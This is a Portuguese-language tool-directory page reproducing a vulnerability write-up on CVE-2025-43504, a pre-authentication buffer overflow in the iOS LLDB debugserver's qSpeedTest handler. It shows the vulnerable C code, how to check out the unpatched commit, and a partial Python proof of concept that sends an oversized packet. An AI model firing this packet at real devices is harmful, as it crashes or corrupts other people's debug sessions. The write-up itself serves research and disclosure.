Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-43504 — Aprofundamento técnico sobre CVE-2025-43504, um estouro de buffer global remoto (sem autenticação prévia) no debugserver do LLDB para iOS, com código PoC e análise de exploração. | Kitploit
Ferramentas/GitHubGitHub/calysteon/cve-2025-43504
Segurança iOSAnálise de VulnerabilidadesExploraçãoDepuradoresPapers e PesquisaAprendizado e EducaçãoExploração de Binários
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Aprofundamento técnico sobre CVE-2025-43504, um estouro de buffer global remoto (sem autenticação prévia) no debugserver do LLDB para iOS, com código PoC e análise de exploração.

Ver Repositório
17há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Quando Bons /bins Se Tornam Maus: Um Estouro de Pré-autenticação Remota no debugserver do LLDB


Introdução

Quando eu crescia, sempre gostava de vasculhar as lixeiras de DVD no meu Walmart local. Notei que muitos dos mesmos filmes eram deixados em cima, mas se você realmente cavasse, encontraria títulos mais interessantes e de nicho.

Quando um programa estoura um buffer, você está essencialmente alcançando sua lixeira de pechinchas. Dependendo de quão longe você alcança, os DVDs - ou neste caso, as estruturas sobrescritas na memória - podem mudar.

A /bin de pechincha de hoje é CVE-2025-43504: Um estouro de buffer global de pré-autenticação remota que encontrei no debugserver do LLDB.

Como Chegamos Aqui?

Durante o desenvolvimento de aplicativos, os desenvolvedores frequentemente precisam depurar seu aplicativo em um dispositivo iOS físico. Para conseguir isso, o Xcode monta uma Imagem de Disco de Desenvolvedor no iPhone alvo e então emparelha com ele.

Uma vez emparelhado, o host macOS pode se comunicar com o cliente iOS usando o debugserver instalado no cliente. Agora, qualquer cliente que possa estabelecer uma sessão GDB remota com o debugserver do dispositivo pode alcançar o manipulador qSpeedTest e estourar o buffer vulnerável.

Vamos dar uma olhada na página de lançamento de segurança do Xcode 26.1 para entender melhor como a Apple categorizou o CVE-2025-43504:

CVE-2025-43504

Devido às mitigações de software modernas, a Apple considera os estouros de buffer principalmente como um problema de negação de serviço, em vez de uma primitiva de corrupção. Como exploraremos hoje, isso geralmente é verdade, pois um invasor precisará superar vários obstáculos e provavelmente combinar esse problema com outro bug para conseguir execução arbitrária de código.

Um Pequeno Passo para o Pwn, um Grande Salto para a Pwnkind

Se você quiser experimentar uma versão sem correção do debugserver, use o seguinte commit ou qualquer commit anterior a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Você Vai Precisar de um Debugger Maior

Antes da correção em RNBRemote.cpp, qualquer usuário remoto que pudesse se conectar ao debugserver de um dispositivo iOS poderia enviar um pacote qSpeedTest de pré-autenticação para RNBRemote::HandlePacket_qSpeedTest e corromper estruturas adjacentes no segmento de dados globais do debugserver.

No entanto, há uma ressalva importante: controlamos apenas o tamanho da corrupção. O conteúdo do payload é fixo em um fluxo de caracteres 'a'. Embora os alunos possam gostar das notas consistentemente altas, a utilidade prática desse estouro é bastante limitada pelo fato de não podermos controlar os bytes reais que estão sendo escritos - apenas o quão longe a enxurrada de 'a's vai.

Agora, vamos dar uma olhada nos bastidores de RNBRemote::HandlePacket_qSpeedTest para ver exatamente o que está acontecendo:

rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // We control the length of response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // The overflow of g_data by a's occurs here
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

A função de RNBRemote::HandlePacket_qSpeedTest() é processar pacotes qSpeedTest:response_size:<hex>; recebidos sem exigir autenticação de um usuário remoto que possa se comunicar com o binário debugserver do dispositivo iOS.

No entanto, uma vez que um usuário remoto é capaz de enviar um pacote qSpeedTest:response_size:<hex>; para debugserver, nenhuma verificação de autenticação ocorre dentro do debugserver antes de processar o response_size fornecido pelo usuário. Portanto, qualquer usuário que possa se comunicar com um dispositivo iOS montado com uma Imagem de Disco de Desenvolvedor é capaz de estourar o debugserver através de um pacote qSpeedTest:response_size:<hex>;.

Apenas Continue Nadando, Nadando, Nadando

Agora que chegamos à função vulnerável RNBRemote::HandlePacket_qSpeedTest(), vamos examinar exatamente como o estouro ocorre. Primeiro, o tamanho <hex> fornecido pelo usuário no pacote qSpeedTest:response_size:<hex>; é extraído e armazenado na variável response_size:

p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Se o parsing for bem-sucedido e o próximo caractere for um ponto e vírgula, um buffer estático local à função de 4 MiB + 16 bytes g_data é inicializado e preenchido com o cabeçalho ASCII "data:":

if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Oops, eu fiz de novo

Juntando tudo, memset então preenche o buffer estático de 4 MiB + 16 bytes g_data com 'a' usando o valor response_size controlado pelo usuário como o número de 'a's a serem usados.

  // The overflow of g_data by 'a's occurs here
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Portanto, sempre que um cliente LLDB remoto envia um pacote qSpeedTest:response_size:<hex>; com um response_size maior que o buffer de 4 MiB + 16 bytes, ocorre um estouro de buffer e corrompe variáveis globais adjacentes armazenadas no segmento de dados globais (.bss) do debugserver.

Quando Bons /bins Se Tornam Maus

Agora que entendemos a arquitetura por trás do estouro, vamos mergulhar na mecânica real da vulnerabilidade. Para começar, vamos usar o seguinte programa Python para explorar as primitivas de corrupção obtidas através do estouro de g_data:

import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # send the oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Optional tiny nudge to exercise pointer use
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
    args = ap.parse_args()
Baixar ferramenta